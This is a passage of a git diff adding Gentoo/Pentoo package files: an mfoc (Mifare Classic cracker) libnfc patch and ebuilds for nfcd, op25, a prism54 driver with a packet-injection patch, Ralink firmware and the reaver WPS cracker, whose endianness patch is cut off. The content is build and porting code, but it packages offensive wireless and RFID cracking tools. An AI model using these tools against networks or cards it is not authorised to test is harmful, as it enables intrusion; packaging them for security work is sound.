++	if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen, NULL)) {
+ 		fprintf(stdout, "Error while requesting plain tag-nonce\n");
+ 		exit(EXIT_FAILURE);
+ 	}
+diff -Nru mfoc-0.10.2/src//mifare.c mfoc/src//mifare.c
+--- mfoc-0.10.2/src//mifare.c	2011-04-04 12:38:30.000000000 +0200
++++ mfoc/src//mifare.c	2012-02-11 02:02:27.028185737 +0100
+@@ -100,7 +100,7 @@
+     return false;
+   }
+   // Fire the mifare command
+-  if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx)) {
++  if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx, NULL)) {
+     if (pnd->iLastError == EINVRXFRAM) {
+       // "Invalid received frame" AKA EINVRXFRAM,  usual means we are
+       // authenticated on a sector but the requested MIFARE cmd (read, write)
+diff -Nru mfoc-0.10.2/src//nfc-utils.c mfoc/src//nfc-utils.c
+--- mfoc-0.10.2/src//nfc-utils.c	2011-04-04 12:01:33.000000000 +0200
++++ mfoc/src//nfc-utils.c	2012-02-11 02:02:27.028185737 +0100
+@@ -608,6 +608,51 @@
+ }
+ 
+ void
++print_nfc_iso14443bi_info (const nfc_iso14443bi_info_t nii, bool verbose)
++{
++  printf ("                DIV: ");
++  print_hex (nii.abtDIV, 4);
++  if (verbose) {
++    int version = (nii.btVerLog & 0x1e)>>1;
++    printf ("   Software Version: ");
++    if (version == 15) {
++      printf ("Undefined\n");
++    } else {
++      printf ("%i\n", version);
++    }
++
++    if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x80)){
++      printf ("        Wait Enable: yes");
++    }
++  }
++  if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x40)) {
++    printf ("                ATS: ");
++    print_hex (nii.abtAtr, nii.szAtrLen);
++  }
++}
++
++void
++print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info_t nsi, bool verbose)
++{
++  (void) verbose;
++  printf ("                UID: ");
++  print_hex (nsi.abtUID, 8);
++}
++
++void
++print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info_t nci, bool verbose)
++{
++  (void) verbose;
++  uint32_t uid;
++  uid = (nci.abtUID[3] << 24) + (nci.abtUID[2] << 16) + (nci.abtUID[1] << 8) + nci.abtUID[0];
++  printf ("                UID: ");
++  print_hex (nci.abtUID, sizeof(nci.abtUID));
++  printf ("      UID (decimal): %010u\n", uid);
++  printf ("       Product Code: %02X\n", nci.btProdCode);
++  printf ("           Fab Code: %02X\n", nci.btFabCode);
++}
++
++void
+ print_nfc_dep_info (const nfc_dep_info_t ndi, bool verbose)
+ {
+   (void) verbose;
+@@ -651,8 +696,7 @@
+         strcpy (pndd->pcDriver, strtok (buffer, ":"));
+ 
+         // Port.
+-        pndd->pcPort = (char *) malloc (256);
+-        strcpy (pndd->pcPort, strtok (NULL, ":"));
++        strcpy (pndd->acPort, strtok (NULL, ":"));
+ 
+         // Speed.
+         sscanf (strtok (NULL, ":"), "%u", &pndd->uiSpeed);
+@@ -712,6 +756,18 @@
+       printf ("ISO/IEC 14443-4B (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
+       print_nfc_iso14443b_info (nt.nti.nbi, verbose);
+     break;
++    case NMT_ISO14443BI:
++      printf ("ISO/IEC 14443-4B' (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++      print_nfc_iso14443bi_info (nt.nti.nii, verbose);
++    break;
++    case NMT_ISO14443B2SR:
++      printf ("ISO/IEC 14443-2B ST SRx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++      print_nfc_iso14443b2sr_info (nt.nti.nsi, verbose);
++    break;
++    case NMT_ISO14443B2CT:
++      printf ("ISO/IEC 14443-2B ASK CTx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
++      print_nfc_iso14443b2ct_info (nt.nti.nci, verbose);
++    break;
+     case NMT_DEP:
+       printf ("D.E.P. (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr));
+       print_nfc_dep_info (nt.nti.ndi, verbose);
diff --git a/net-wireless/mfoc/mfoc-0.10.2.ebuild b/net-wireless/mfoc/mfoc-0.10.2.ebuild
new file mode 100644
index 00000000..e5cfe04e
--- /dev/null
+++ b/net-wireless/mfoc/mfoc-0.10.2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils autotools
+
+DESCRIPTION="Mifare Classic Offline Cracker"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/mfoc"
+SRC_URI="https://nfc-tools.googlecode.com/files/mfoc-0.10.2.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+	epatch "${FILESDIR}"/${PN}-libnfc-1.5.1.patch || die
+	eautoreconf
+}
+
+src_install() {
+	DESTDIR="${D}" emake install || die
+}
diff --git a/net-wireless/nfcd/Manifest b/net-wireless/nfcd/Manifest
new file mode 100644
index 00000000..96f6d3f7
--- /dev/null
+++ b/net-wireless/nfcd/Manifest
@@ -0,0 +1 @@
+EBUILD nfcd-9999.ebuild 594 RMD160 a6943b9f5f2292e86ee46819b96a5e0a846b3274 SHA1 8243c5dd876cb14a64215f25480f5c390556b5ea SHA256 9fb7ad7c8d90883cb857a161b9b2dd0a29ba1abcd38bd350e278e5ac15dca781
diff --git a/net-wireless/nfcd/nfcd-9999.ebuild b/net-wireless/nfcd/nfcd-9999.ebuild
new file mode 100644
index 00000000..38a25e14
--- /dev/null
+++ b/net-wireless/nfcd/nfcd-9999.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit cmake-utils subversion
+DESCRIPTION="a daemon which access NFC Devices and Targets"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/nfcd"
+SRC_URI=""
+ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/nfcd"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-libs/libndev
+		net-wireless/libfreefare
+		dev-libs/libnfc"
+RDEPEND="${DEPEND}"
+
+src_install() {
+	cmake-utils_src_install
+	insinto /etc/dbus-1/system.d/
+	doins nfcd.conf || die
+}
diff --git a/net-wireless/op25/Manifest b/net-wireless/op25/Manifest
new file mode 100644
index 00000000..1208f361
--- /dev/null
+++ b/net-wireless/op25/Manifest
@@ -0,0 +1 @@
+EBUILD op25-9999.ebuild 1347 SHA256 02e2e0543124bb358efe493ef8a8502aeac9bcddb8eb92125aa8f951528b9f85 SHA512 46e7fabf56aee6a899e54a30954085eabcdc82c00fdd9f03eaace704138bb2e2acef29ddf8dedbfe2d9eb4db261d785f0516235b019356d80c3a97b7d92ff14b WHIRLPOOL 2622e6c2ee06a96fe402952202d3124bb2d712d1ee67f707db713ba90632f64fcc7ea7ead80448a2613caceeb4ad27db4d344b948371105de61b8c2efd5d21db
diff --git a/net-wireless/op25/op25-9999.ebuild b/net-wireless/op25/op25-9999.ebuild
new file mode 100644
index 00000000..716f0d91
--- /dev/null
+++ b/net-wireless/op25/op25-9999.ebuild
@@ -0,0 +1,76 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+PYTHON_DEPEND="2"
+
+inherit subversion autotools python
+
+DESCRIPTION="software-defined analyzer for APCO P25 signals"
+HOMEPAGE="http://op25.osmocom.org/wiki"
+ESVN_REPO_URI="http://op25.osmocom.org/svn/trunk"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="-*"
+IUSE=""
+
+DEPEND="net-wireless/gnuradio
+	sci-libs/itpp
+	dev-libs/boost
+	net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+}
+
+src_prepare() {
+	cd "${S}"/blocks
+	#eautoreconf
+	./bootstrap
+
+	cd "${S}"/imbe_vocoder
+	#eautoreconf
+	./bootstrap
+
+	cd "${S}"/repeater
+	#eautoreconf
+	./bootstrap
+}
+
+src_configure() {
+	cd "${S}"/blocks
+	econf
+
+	cd "${S}"/imbe_vocoder
+	econf
+
+	cd "${S}"/repeater
+	econf
+}
+src_compile() {
+	cd "${S}"/blocks
+	sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common
+	emake
+
+	cd "${S}"/imbe_vocoder
+	emake
+
+	cd "${S}"/repeater
+	sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common
+	emake
+}
+src_install() {
+	cd "${S}"/blocks
+	emake DESTDIR="${ED}" install
+
+	cd "${S}"/imbe_vocoder
+	emake DESTDIR="${ED}" install
+
+	cd "${S}"/repeater
+	emake DESTDIR="${ED}" install
+}
diff --git a/net-wireless/prism54/ChangeLog b/net-wireless/prism54/ChangeLog
new file mode 100644
index 00000000..737b8ac1
--- /dev/null
+++ b/net-wireless/prism54/ChangeLog
@@ -0,0 +1,49 @@
+# ChangeLog for net-wireless/prism54
+# Copyright 2000-2005 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /root/portage/net-wireless/prism54/ChangeLog,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $
+
+*prism54-20050724
+
+  22 mar 2006; Michael Zanetta <grimmlin@pentoo.ch>
+  prism54-20050724.ebuild: Added injection patch,
+  removed version check
+  files/prism54-svn-20050724.patch: Added injection patch
+
+  04 Jul 2005; Stefan Schweizer <genstef@gentoo.org>
+  prism54-20050125.ebuild:
+  sys-apps/pcmcia-cs -> virtual/pcmcia(linux-mod.eclass)
+
+*prism54-20050125 (25 Jan 2005)
+
+  25 Jan 2005; Stefan Schweizer <genstef@gentoo.org>
+  -prism54-20040208.ebuild, +prism54-20050125.ebuild:
+  Version bump thanks to Scott Paul Robertson <spr5@email.byu.edu> and Josh
+  Nichols <nichoj@rpi.edu> in bug 71632
+
+  03 Jan 2005; Stefan Schweizer <genstef@gentoo.org>
+  prism54-20040208.ebuild:
+  Adding block to avoid file collision with prism54-firmware
+
+  02 Jan 2005; Daniel Drake <dsd@gentoo.org> prism54-20040208.ebuild:
+  Change virtual/kernel to virtual/linux-sources
+
+  07 Jun 2004; Aron Griffis <agriffis@gentoo.org> prism54-20040208.ebuild:
+  Fix typo and check
+
+  24 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+  Fixed the location of the firmware file. bug #41956
+
+  09 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+  Change installation location to where prism54 people put it.
+
+  08 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+  Added wireless-tools RDEPEND and info about module versioning.
+
+*prism54-20040208 (08 Feb 2004)
+
+  08 Feb 2004; Peter Johanson <latexer@gentoo.org> metadata.xml,
+  prism54-20040208.ebuild:
+  Initial commit. Thanks to all in bug #40574 for the help. For now, not
+  mirroring the firmware image until we know if we can. As usual, disable
+  sandbox to emerge with 2.6 kernels until bug #32737 is resolved.
+
diff --git a/net-wireless/prism54/Manifest b/net-wireless/prism54/Manifest
new file mode 100644
index 00000000..8b8a4139
--- /dev/null
+++ b/net-wireless/prism54/Manifest
@@ -0,0 +1,5 @@
+AUX prism54-svn-20050724.patch 459 RMD160 b17c8f93fbe41a36f447414a58d91ee5c95bcc4d SHA1 4cc5a436f228940ab7fd453d0dd56e1f19a9f756 SHA256 fab08b80be596aee2b7a63790733f12a2355e3a05c57baa2e9017d897547f3fc
+DIST prism54-svn-20050724.tgz 92567 RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 SHA1 b1f8d369f8fd0ecadcac8e8c9c2632cd8f59b834 SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0
+EBUILD prism54-20050724.ebuild 1511 RMD160 02c0a48a9d20b0d395f04169e071593be8fe7ffb SHA1 b9fe2d51af46002aada318a00d606592b4ca1bd5 SHA256 965e3256012d1aba92812f457d1b7ff93987d422d7270cce33f5898c93d97704
+MISC ChangeLog 1920 RMD160 422d421f8f15a530d293ea42eda014d54624c84d SHA1 71ed2c2896de4404acceb76d243030f09496cf0a SHA256 b787085201ad9f55f17321aa20d5dc977514a6f8016c9685af657c395bf5d4d3
+MISC metadata.xml 417 RMD160 9bcd8b5bc8b9ac5ace586a62a0c00b8df0d4d574 SHA1 4bccfbc845c5560cc937c0421a30a22a77f17f53 SHA256 3b334668cd4186209045d3ca8ebac10e0de886c6eff6af4a722f6f27104dc983
diff --git a/net-wireless/prism54/files/digest-prism54-20050724 b/net-wireless/prism54/files/digest-prism54-20050724
new file mode 100644
index 00000000..9fb0179f
--- /dev/null
+++ b/net-wireless/prism54/files/digest-prism54-20050724
@@ -0,0 +1,3 @@
+MD5 898440160410baa17d0bdf51439a1ee6 prism54-svn-20050724.tgz 92567
+RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 prism54-svn-20050724.tgz 92567
+SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0 prism54-svn-20050724.tgz 92567
diff --git a/net-wireless/prism54/files/prism54-svn-20050724.patch b/net-wireless/prism54/files/prism54-svn-20050724.patch
new file mode 100755
index 00000000..aa15cb4a
--- /dev/null
+++ b/net-wireless/prism54/files/prism54-svn-20050724.patch
@@ -0,0 +1,13 @@
+diff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c
+--- ../prism54-svn-20050724/ksrc/islpci_dev.c	2005-03-08 16:32:34.000000000 +0100
++++ ./ksrc/islpci_dev.c	2005-07-26 18:56:40.000000000 +0200
+@@ -758,9 +758,6 @@
+ 			pci_unmap_single(priv->pdev, buf->pci_addr,
+ 					MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE);
+ 		buf->pci_addr = 0;
+-		if (buf->skb)
+-			dev_kfree_skb(buf->skb);
+-		buf->skb = NULL;
+         }
+ 
+ 	/* clean up data rx buffers */
diff --git a/net-wireless/prism54/metadata.xml b/net-wireless/prism54/metadata.xml
new file mode 100644
index 00000000..fb5c54c1
--- /dev/null
+++ b/net-wireless/prism54/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>mobile</herd>
+<maintainer>
+  <email>latexer@gentoo.org</email>
+  <name>Peter Johanson</name>
+  <description>I don't own any cards with this chipset yet. Feel free to send me one if you want this package more actively maintained by yours truly.</description>
+</maintainer>
+</pkgmetadata>
diff --git a/net-wireless/prism54/prism54-20050724.ebuild b/net-wireless/prism54/prism54-20050724.ebuild
new file mode 100644
index 00000000..7db6c339
--- /dev/null
+++ b/net-wireless/prism54/prism54-20050724.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/prism54/prism54-20050724.ebuild,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $
+
+EAPI="2"
+
+inherit linux-mod
+
+MY_P=${P/prism54-/prism54-svn-}
+S=${WORKDIR}/${MY_P}
+DESCRIPTION="Driver for Intersil Prism GT / Prism Duette wireless chipsets with injection patch"
+HOMEPAGE="http://prism54.org/"
+SRC_URI="http://www.pentoo.ch/distfiles/${MY_P}.tgz"
+LICENSE="GPL-2"
+KEYWORDS="~x86"
+IUSE="pcmcia"
+RDEPEND="net-wireless/prism54-firmware
+	 net-wireless/wireless-tools"
+
+MODULE_NAMES="prism54(net:${S}/ksrc)"
+BUILD_PARAMS="KVER=${KV_FULL} KDIR=${KV_DIR}"
+BUILD_TARGETS="modules"
+
+CONFIG_CHECK="!PRISM54 NET_RADIO FW_LOADER"
+PRISM54_ERROR="You need prism54-firmware for the in-kernel driver or deselect
+the in-kernel driver to use the (probably older) driver from this ebuild."
+NET_RADIO_ERROR='You should enable "Wireless LAN drivers (non-hamradio) &
+Wireless Extensions"[CONFIG_NET_RADIO] in your kernel config'
+FW_LOADER_ERROR="Make sure you have CONFIG_FW_LOADER enabled in your kernel."
+
+use pcmcia && CONFIG_CHECK="${CONFIG_CHECK} PCMCIA CARDBUS"
+PCMCIA_ERROR=CARDBUS_ERROR="General setup  --->
+	PCMCIA/CardBus support  --->
+		PCMCIA/CardBus support (m or y)
+		[*]   CardBus support (Important!)"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/prism54-svn-20050724.patch
+}
+
+src_install() {
+	linux-mod_src_install
+	dodoc README ksrc/ChangeLog
+}
diff --git a/net-wireless/ralink-firmware/Manifest b/net-wireless/ralink-firmware/Manifest
new file mode 100644
index 00000000..73f4fdff
--- /dev/null
+++ b/net-wireless/ralink-firmware/Manifest
@@ -0,0 +1,5 @@
+DIST RT2860_Firmware_V11.zip 3891 RMD160 39db94a4856ffc5c71cdeedf8c53b98424eb3894 SHA1 88fa25ab729c7e3b5486d8ee6bb5dc9fc10335be SHA256 c178de118a1b71ef1578650b5ad12c969d3b5fd2bb7bb18fec7382e8dd9d7c6a
+DIST RT2870_Firmware_V8.zip 2641 RMD160 dbb898bd4294904e9680f5f011240c336be4e9b1 SHA1 f5996f92373b69e3523da3dbc5565279ad960d44 SHA256 b2c70b20c880170110cb09af154e680961f83d45f6d1c2118c28806bcbd703b4
+DIST RT61_Firmware_V1.2.zip 13937 RMD160 6a6c5e85d7d56c0a6aac5ad528baae356bda269d SHA1 8a50899160d1ef1cd9770e4f0426930fb2b42a1b SHA256 481f113c505ed186049287bd8e9ad8fcb8dbbb32f3bb718f04e4dc148b63c8e4
+DIST RT71W_Firmware_V1.8.zip 2679 RMD160 ffc588f9cd49b3f49b3d4087d097ea4f26ee075d SHA1 51541bec5cf2fe6ff46e46a0bb157b774d2ff050 SHA256 e2d3ac1aaf4815e0c9531bc3fb7f56f30604cd52351332f1f8d6a28bb9a953bf
+EBUILD ralink-firmware-20090213.ebuild 1012 RMD160 a68eb8d713cdd18361f17e9d9653cd9364f70e6e SHA1 a1031ffa23e06a55c4bbf769327f55b5d80c8f0c SHA256 9ba23c98944f084d0c0742a2ebc693b5a95539214bf55fd694522d5979bef388
diff --git a/net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild b/net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild
new file mode 100644
index 00000000..2bcb85f8
--- /dev/null
+++ b/net-wireless/ralink-firmware/ralink-firmware-20090213.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="All publicly released Ralink Firmware files from their website"
+HOMEPAGE="http://www.ralinktech.com/ralink/Home/Support/Linux.html"
+SRC_URI="http://www.ralinktech.com.tw/data/RT61_Firmware_V1.2.zip
+	 http://www.ralinktech.com.tw/data/RT71W_Firmware_V1.8.zip
+	 http://www.ralinktech.com.tw/data/drivers/RT2870_Firmware_V8.zip
+	 http://www.ralinktech.com.tw/data/drivers/RT2860_Firmware_V11.zip"
+
+LICENSE="Ralink"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="|| ( >=sys-fs/udev-096 >=sys-apps/hotplug-20040923 )
+	app-arch/unzip"
+
+src_compile() {
+	einfo "nothing to compile"
+}
+
+src_install() {
+	S="${WORKDIR}"
+	insinto /lib/firmware
+	doins "${S}"/RT2860_Firmware_V11/*.bin
+	doins "${S}"/RT61_Firmware_V1.2/*.bin
+	doins "${S}"/RT2870_Firmware_V8/*.bin
+	doins "${S}"/RT71W_Firmware_V1.8/*.bin
+	dodoc "${S}"/RT2860_Firmware_V11/LICENSE.ralink-firmware.txt || die "dodoc failed"
+}
diff --git a/net-wireless/reaver/ChangeLog b/net-wireless/reaver/ChangeLog
new file mode 100644
index 00000000..ba0bca66
--- /dev/null
+++ b/net-wireless/reaver/ChangeLog
@@ -0,0 +1,10 @@
+# ChangeLog for net-wireless/reaver
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/ChangeLog,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+*reaver-1.4 (15 May 2012)
+
+  15 May 2012; Maxim Koltsov <maksbotan@gentoo.org> +metadata.xml,
+  +reaver-1.4.ebuild:
+  Add net-wireless/reaver, thanks to Oleg Kravchenko
+
diff --git a/net-wireless/reaver/Manifest b/net-wireless/reaver/Manifest
new file mode 100644
index 00000000..67732757
--- /dev/null
+++ b/net-wireless/reaver/Manifest
@@ -0,0 +1,12 @@
+AUX 0001-wpscrack-big-endian-fixes.patch 21117 SHA256 dd44a966424a5c207db5658374ce68232a7a3cacdcce90772f7c610c441c7d26 SHA512 e6de886ba2f63cee8fd9324c512e5060164fe5eef35633b105ccb5aea11bbf1f3d43ca5b84a81b6312085d03be098945d231655dab4beb5719f45abfdb128f17 WHIRLPOOL adf26ab9c6ee24c44556e77d82fe42d869d44ac42f36becc4f6e95af0de680fa23de6caf81c612af0d723f20a585ea242d1fb1fba97efee952350d465b06001b
+AUX 0002-Use-the-current-directory-for-storing-and-loading-se.patch 1672 SHA256 8decc8453936f10df1ec5af8ce5322c527853ed7fde3fccf2996d92f64ecc691 SHA512 3fa5ba7e0b3784bfe4d28efa63dd9ef64d496c33d6538d38fc867c669ac978d1a4512334a1103eb9bf0f898e12b839dbe287bddad6238f54979b17ba0ffd095e WHIRLPOOL a944fecee470fc57fe2211a335d08ead2a7976839b7da2159b49929e93c1d2027ca64b0ad8ed49bb4ceeed67ed1407f7a1d626316ca536d1972aeb4e540e22a6
+AUX 0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch 1604 SHA256 02ecd27516806917d2970d67f408139f50644bb3bdfed94300ea4703e295b468 SHA512 8960223cf5f84a7b999b2b79d195d2b5e690dd66338f97549a931df9b4156823190b03f37702317fb3af6aac91712b46866dba955b0ee60f6dd4a3630f1b7fd5 WHIRLPOOL 8f4335d3786e893ceedf6a6949903b6fecd29566746ccb4fd95e57236195ea23fa68548e769d1e1cbd3ac2e8cfca2167b99242d7a3a086460f47676ce9191df4
+AUX 0004-wash-probe-request.patch 687 SHA256 66b27d18353ba85612dfd4806a730ca004027a86b80de5bc8a0c869800e429a9 SHA512 cdf1bf370b2915dd87afe93aa8df4db0ad9124eb076ce1398a384afe1b5e66c9499c891857b21ec7897d0d52a1fea0ad635163d796eca981db7956d8bb7c7c6e WHIRLPOOL ae381d3598721151beed7eef46678e0208baf64905bb1200eda547be7d500ea7d6a9cd27033385982cea0b117bca167848f6c5fd93808000ec792f95b10a04e8
+AUX 0005-soreau-show-status-r2.patch 2378 SHA256 ff0b84b2c31fe69a990a2a3b2a161fd83d6b05d9fafc27cbe61d76e2862c5f82 SHA512 558c1c393276bb5c65ef8a32e9b0cdbd1cf55c08a11ddcfdd73f90a901a709f2306d89f2eeab509f97478f9807401784fcb1bad0159c97b1f64f85701cfbab6a WHIRLPOOL c6b180ed58ae5bfbfa62ffbfef2ba812c0d8ee54a52520c98411a0aad4fac6ad2ea9f9a76663e6781af00f324573c52b4381157cc9867ca1a1db505b66821523
+AUX 0005-soreau-show-status.patch 2378 SHA256 0c7ef676d989139b599da93de20586bc78a8f18208696ff3b76144791720fbe7 SHA512 9211353efe8c47defe924b2afce2f3412089ce810bbe48e8dbf47b7a648972d09ef74b9d1ca2de907975bb28b5aace70d86c1656b326e65d0298f023a5bb0936 WHIRLPOOL cda5ddcc3a976b2d9519ffe4ecc2c870caebd4a5daa62f6ce130e84338e843eb01efb36dce0c63ebb1197f4daecd99921cca9473809a94e5006be73f2f6acb7f
+DIST reaver-1.4.tar.gz 766603 SHA256 add3050a4a05fe0ab6bfb291ee2de8e9b8a85f1e64ced93ee27a75744954b22d SHA512 59f2d6f8aa6228988ce5d1c102d9a48b2a23e582ff3d9afe39d7c9717b7e4be059362fdd21a3e5f5d59948df1a7616acdaa6df20f139e9c5aa9bd673f764dfbc WHIRLPOOL 5b8a91fe97bf08d6dc544b41dd04baedb9488d574e9a0695d8babeb34a9fa5acc81cfc86899c600b12b445cb83887dfbb18517f2ebbd5d34ab27e8c9ce428e38
+EBUILD reaver-1.4-r1.ebuild 840 SHA256 81c5f8f881ed104f4aa3e3e9128db188735e1679eb1e311a34c160281886efbf SHA512 4beab059d5ac2de4bd45e7382f9e67c1387fd984c8dba6efe0789528123b665b29d6f3874ad2dd4a4c4366a1c4d0fc3f06a09da158ed91aef5ea56390c4b1a2d WHIRLPOOL cb8016ade89e0f0b4b72be9507552305a5496c650555e34b016628f1841bcb26d9474be955871875cb9c535b07825b46f8501b65060258b6fb625576164e239c
+EBUILD reaver-1.4-r2.ebuild 933 SHA256 33130d270a2862b91f3893d9a91bf4bf7cea4368357c7fc38205330b69a0a57a SHA512 2653ed7172b1f4fd068ed75c9adaa0a6d3161e014c5a65fdc35f598683b0e97bdddeca7635dde1f0b0b03f7c431b07a09d1770132c0c5199cd0a37c6bc9f5879 WHIRLPOOL 82bb0adf3f85ba886e389bcb2708d1a942cb22a8c0ff7529d0044c6ebd87c6b1b5eaea89a79571120d4a0f0ba469732009f0cc0f37d41fb8c7971bb630fe2681
+EBUILD reaver-1.4-r3.ebuild 954 SHA256 2ba94abd0d367d5faa1283490b4e92b857e2389c26b5f5d980c39d26064a233e SHA512 d2124d31311aad3779f3ceba76ef649c72c63d5f57051d1db31ea57b4eaa8330c04bd605ae07bb8c9beca72f90386d19e0d576fc8093342bb3e59b7f6f9d8d31 WHIRLPOOL 9a9af4a366fc6f7d6e78da4e26975467461327838fc207ea6234a9b5a22cfd9cbcb365352b3985501150cd1e1ce80dc9a3fa8e77a01cedd5ce953370b58c59c7
+MISC ChangeLog 384 SHA256 75ed384fee5277726aba559464ada1975a27228860de9856bb8ea5b1d2f0e610 SHA512 46e5da5e6b98546f0f4ef77af00fb48ef0a293bc6935648e63a571caae6d605b20eaf3ea9c5763fa4848a7a6343fb047820e46925cf56bcb1063c35d304672bb WHIRLPOOL 3e0eb8f278eb5c0e78618a1da83767dc9448aab6aedd7064b5fecc4bb75fc0ad657750e74f0adc1953cb634d0f18b45b2c9f865f9fcb99a7536d12d5dfb371ce
+MISC metadata.xml 249 SHA256 47ff8178840f738d37ca36d24fd9ec2823cd324e7510fc69a25621824f69e302 SHA512 fbca9bfde0fceeb77572d70902f1c76e4e132f7c0717a9cf4d4d1da37fafa08fd6d2df521a00fc6a9595f21141a6c8a21366afbadb950eb54f8480b498a41e65 WHIRLPOOL e0254e45cbd140b5ff3592720a06479367f3d769ef7ad3d7a0766f2db22706edebbf974b5926cef6add2b55e6bad0f698b9ec316c7a9fa53cdbee12bd7e13121
diff --git a/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
new file mode 100644
index 00000000..da76c2e3
--- /dev/null
+++ b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
@@ -0,0 +1,565 @@
+From 4e7af9f022996cb0a03b30f6af265b757807dfa2 Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Wed, 27 Jun 2012 17:44:55 +0400
+Subject: [PATCH 1/3] wpscrack: big-endian fixes
+
+This should fix access to the radiotap, 802.11, LLC/SNAP and WFA
+headers' fields. Run-time tested on an ar71xx BE system.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/80211.c    |   65 +++++++++++++++++++------------
+ src/builder.c  |   23 +++++------
+ src/defs.h     |  116 +++++++++++++++++++++++++++++++++++++++-----------------
+ src/exchange.c |   23 ++++++-----
+ src/wpsmon.c   |   13 ++++--
+ 5 files changed, 151 insertions(+), 89 deletions(-)
+
+diff --git a/src/80211.c b/src/80211.c
+index c2aff59..19f1e92 100644
+--- a/src/80211.c
++++ b/src/80211.c
+@@ -90,17 +90,19 @@ void read_ap_beacon()
+                 if(header.len >= MIN_BEACON_SIZE)
+                 {
+                         rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+-                        frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
+-
++			size_t rt_header_len = __le16_to_cpu(rt_header->len);
++			frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
++			
+ 			if(is_target(frame_header))
+ 			{
+-                                if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON)
++                                if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++				   __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
+                                 {
+-                                       	beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header));
++                                       	beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
+                                        	set_ap_capability(beacon->capability);
+ 
+ 					/* Obtain the SSID and channel number from the beacon packet */
+-					tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
